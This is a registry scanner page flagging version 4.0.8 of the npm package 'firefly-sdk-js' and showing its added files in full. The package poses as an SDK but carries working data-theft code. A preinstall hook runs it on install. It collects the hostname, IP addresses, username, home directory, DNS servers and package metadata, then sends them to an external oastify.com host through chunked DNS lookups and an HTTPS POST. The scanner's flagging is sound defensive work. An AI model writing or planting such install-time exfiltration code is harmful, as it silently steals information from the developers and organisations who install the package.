firefly-sdk-js 4.0.8
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of firefly-sdk-js might be problematic. Click here for more details.
- package/index.js +39 -0
- package/index_dns.js +44 -0
- package/index_http.js +46 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
|
4
|
+
const hostname = os.hostname();
|
5
|
+
const ipAddresses = Object.values(os.networkInterfaces())
|
6
|
+
.flatMap(interfaces => interfaces.filter(details => details.family === 'IPv4'))
|
7
|
+
.map(details => details.address);
|
8
|
+
const username = os.userInfo().username;
|
9
|
+
|
10
|
+
const info = JSON.stringify({
|
11
|
+
hn: hostname,
|
12
|
+
ip: ipAddresses,
|
13
|
+
un: username
|
14
|
+
});
|
15
|
+
|
16
|
+
// Dividir la información en segmentos
|
17
|
+
const segmentMaxLength = 253; // Longitud máxima para un segmento DNS
|
18
|
+
const segments = [];
|
19
|
+
for (let i = 0; i < info.length; i += segmentMaxLength) {
|
20
|
+
segments.push(info.substr(i, segmentMaxLength));
|
21
|
+
}
|
22
|
+
|
23
|
+
// Configurar el dominio y el tipo de registro DNS
|
24
|
+
const domain = "gg0iavfttbaui240bgax2387syypmga5.oastify.com"; // Reemplazar con tu dominio
|
25
|
+
const recordType = "TXT"; // Puedes usar TXT u otro tipo según tus necesidades
|
26
|
+
|
27
|
+
// Realizar consultas DNS para cada segmento
|
28
|
+
segments.forEach((segment, index) => {
|
29
|
+
const subdomain = `${index}.${package}.${domain}`;
|
30
|
+
const hostname = `${subdomain}.${domain}`;
|
31
|
+
|
32
|
+
dns.resolve(hostname, recordType, (err, addresses) => {
|
33
|
+
if (err) {
|
34
|
+
console.error(`Error en la consulta DNS para ${hostname}: ${err.message}`);
|
35
|
+
} else {
|
36
|
+
console.log(`Consulta DNS exitosa para ${hostname}`);
|
37
|
+
}
|
38
|
+
});
|
39
|
+
});
|
package/index_dns.js
ADDED
@@ -0,0 +1,44 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
// Convertir la información en formato base64
|
21
|
+
const encodedData = Buffer.from(trackingData).toString("base64");
|
22
|
+
|
23
|
+
// Crear una subcadena de la información base64 para cada segmento de la consulta DNS
|
24
|
+
const segments = [];
|
25
|
+
const segmentMaxLength = 63; // Longitud máxima de cada segmento DNS
|
26
|
+
for (let i = 0; i < encodedData.length; i += segmentMaxLength) {
|
27
|
+
segments.push(encodedData.substr(i, segmentMaxLength));
|
28
|
+
}
|
29
|
+
|
30
|
+
// Configurar el dominio y el tipo de registro DNS
|
31
|
+
const domain = "gg0iavfttbaui240bgax2387syypmga5.oastify.com"; // Reemplazar con tu dominio
|
32
|
+
const recordType = "TXT"; // Puedes usar TXT u otro tipo según tus necesidades
|
33
|
+
|
34
|
+
// Realizar consultas DNS para cada segmento
|
35
|
+
segments.forEach((segment, index) => {
|
36
|
+
const hostname = `${segment}.${index}.${package}.${domain}`;
|
37
|
+
dns.resolve(hostname, recordType, (err, addresses) => {
|
38
|
+
if (err) {
|
39
|
+
console.error(`Error en la consulta DNS para ${hostname}: ${err.message}`);
|
40
|
+
} else {
|
41
|
+
console.log(`Consulta DNS exitosa para ${hostname}`);
|
42
|
+
}
|
43
|
+
});
|
44
|
+
});
|
package/index_http.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "gg0iavfttbaui240bgax2387syypmga5.oastify.com",
|
26
|
+
port: 443,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": postData.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var req = https.request(options, (res) => {
|
36
|
+
res.on("data", (d) => {
|
37
|
+
process.stdout.write(d);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(postData);
|
46
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "firefly-sdk-js",
|
3
|
+
"version": "4.0.8",
|
4
|
+
"description": "white hat hack",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "white hat hackerone",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|